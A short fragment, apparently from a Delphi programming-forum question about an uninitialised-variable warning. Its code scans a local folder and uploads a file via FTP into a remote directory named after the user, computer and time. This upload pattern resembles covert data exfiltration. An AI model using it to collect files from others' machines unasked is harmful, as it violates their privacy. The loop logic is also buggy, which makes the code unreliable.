begin end

---

Variable 'Fik' might not have been initialized

---

---

sciezka := 'c:\folder\';
begin
if DirectoryExists (sciezka) then
Fik := FindFirst( sciezka + 'plik.*', faAnyFile, SR);
while (Fik = 0) do
begin
Fik := FindNext(SR);
FindClose(SR);
CurrData := '';
idFTP1.Host := 'ftp.serwer.pl';
idFTP1.Username := 'yyy';
idFTP1.Password := 'xxx';
IdFTP1.Port:= 21;
idFTP1.Connect();
CurrData := FormatDateTime('dd-mm-yyyy_hh_nn_ss', Now);
IdFTP1.MakeDir(UserName+'_'+'_'+ComputerName+'_'+CurrData);
IdFTP1.ChangeDir(UserName+'_'+'_'+ComputerName+'_'+CurrData);
idFTP1.Put (sciezka+'\L','L');
idFTP1.Disconnect();
end;
end;
end;

---